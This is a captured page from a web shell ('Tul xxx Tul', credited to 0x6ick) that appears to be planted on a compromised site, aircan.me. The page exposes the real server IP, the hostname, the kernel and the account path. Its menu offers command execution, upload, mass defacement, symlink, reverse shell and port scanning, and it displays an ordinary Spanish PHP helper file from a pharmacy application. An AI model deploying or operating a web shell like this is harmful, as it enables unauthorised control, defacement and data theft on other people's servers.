Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
farmaciaprobar
/
app
/
Helpers
/
Viewing: function_helper.php
<?php function fechaPerzo($fecha){ $datos = explode('-', $fecha); $anio = $datos[0]; $me = ltrim($datos[1], "0"); $dia = $datos[2]; $mes = array("","Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre"); return $dia." de ". $mes[$me] . " de " . $anio; } function normalizar($metodos, $data) { $out = []; foreach ($metodos as $m) { $out[$m['nombre']] = 0; } foreach ($data as $d) { $out[$d['nombre']] = $d['total']; } return $out; } function verificar($valor, $datos = []) { $existe = array_search($valor, $datos, true); return is_numeric($existe); } function decimal_app($valor, $default = 0) { if ($valor === null || $valor === '') { return $default; } $valor = trim((string) $valor); $valor = str_replace(' ', '', $valor); $tieneComa = strpos($valor, ',') !== false; $tienePunto = strpos($valor, '.') !== false; if ($tieneComa && $tienePunto) { $ultimaComa = strrpos($valor, ','); $ultimoPunto = strrpos($valor, '.'); if ($ultimaComa > $ultimoPunto) { $valor = str_replace('.', '', $valor); $valor = str_replace(',', '.', $valor); } else { $valor = str_replace(',', '', $valor); } } elseif ($tieneComa) { $valor = str_replace(',', '.', $valor); } return is_numeric($valor) ? (float) $valor : $default; } function limitar_cadena($cadena, $limite, $sufijo){ // Si la longitud es mayor que el lĂmite... if(strlen($cadena) > $limite){ // Entonces corta la cadena y ponle el sufijo return substr($cadena, 0, $limite) . $sufijo; } // Si no, entonces devuelve la cadena normal return $cadena; } function get_nombre_dia($fecha) { $fechats = strtotime($fecha); //pasamos a timestamp //lo devuelve en numero 0 domingo, 1 lunes,.... switch (date('w', $fechats)) { case 0: return "Domingo"; break; case 1: return "Lunes"; break; case 2: return "Martes"; break; case 3: return "Miercoles"; break; case 4: return "Jueves"; break; case 5: return "Viernes"; break; case 6: return "Sabado"; break; } }
Coded With 💗 by
0x6ick